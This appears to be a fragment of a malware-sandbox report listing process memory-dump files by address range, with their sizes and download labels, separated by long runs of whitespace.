                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6708-235-0x00000208EC623000-0x00000208EC625000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6708-236-0x00000208EC626000-0x00000208EC628000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6708-234-0x00000208EC620000-0x00000208EC622000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6708-231-0x00007FFEA3AE0000-0x00007FFEA44CC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6812-240-0x0000021A7D540000-0x0000021A7D542000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6812-243-0x0000021A7D548000-0x0000021A7D549000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6812-242-0x0000021A7D546000-0x0000021A7D548000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6812-241-0x0000021A7D543000-0x0000021A7D545000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6812-237-0x00007FFEA3AE0000-0x00007FFEA44CC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6960-247-0x000001BF20060000-0x000001BF20062000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6960-248-0x000001BF20063000-0x000001BF20065000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6960-244-0x00007FFEA2CF0000-0x00007FFEA36DC000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9.9MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • memory/6960-250-0x000001BF20066000-0x000001BF20068000-memory.dmp

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    8KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Download